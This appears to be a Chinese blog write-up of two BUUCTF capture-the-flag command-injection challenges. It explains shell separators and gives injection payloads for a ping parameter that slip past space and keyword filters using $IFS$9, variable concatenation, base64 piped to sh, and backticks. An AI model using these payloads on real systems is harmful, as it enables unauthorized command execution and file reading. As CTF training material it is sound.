BUUCTF 5

知识点

 拼接符 

  1. & 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
  2. && 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’
  3. | 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
  4. || 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
  5. ; 分号表示命令依次执行。

绕过正则读取的方法

1.变量拼接字符串

使用变量拼接字符串,比如这样

在这里插入图片描述

所以我们可以拼接一个flag

  1. b=ag.php;a=fl;cat$IFS$9$a$b
  2. 为什么要反过来?flag匹配时中间有内容也会被匹配。
  3. 表达式 .* 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配

所以构建payload

  ?id=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b  

2.sh命令来执行

使用 base64 编码的方式来绕过 flag 过滤。

然后用$IFS$9代替空格。构造payload

  1. 加密命令
    echo “cat flag.php” | base64
  2. 解密命令并执行
    echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

然后用$IFS$9代替空格。构造payload

  ?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

 

3.内联执行

  1. 反引号在linux中作为内联执行,执行输出结果。也就是说

     cat `ls`   //执行ls输出 index.php 和 flag.php 。然后再执行 cat index.php;cat flag.php
    
  2. 所以可以构造payload

    ?ip=127.0.0.1;cat$IFS$9`ls`
    

  

5-1

做题思路

打开看到

尝试 ?ip=127.0.0.1,尝试一下?ip=flag,没得到有效内容

经过一些尝试后,没有思路

打开WP

得知这是与终端ping命令相关的题目

其次明白了 fxck your space, 是过滤了空格的意思

然后利用拼接符执行指令 ls 得到

由于空格被过滤了,找绕过方法 可参考 这篇文章 发现$IFS$9能用

然后执行指令 ?ip=127.0.0.1|cat$IFS$1flag.php 发现flag也被过滤了

最后根据WP知道了三种绕过正则读取的方法'

然后采用变量拼接字符串得到flag

5-2

做题思路

 输入127.0.0.1 & ls 发现 index.php

输入 127.0.0.1 | cat index.php 又出现了一个PING界面

发现了源代码

原谅我没有思路了,看WP

直接 127.0.0.1;cat /flag      //直接执行调用系统命令,利用cat看看存不存在flag目录

得到 flag 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值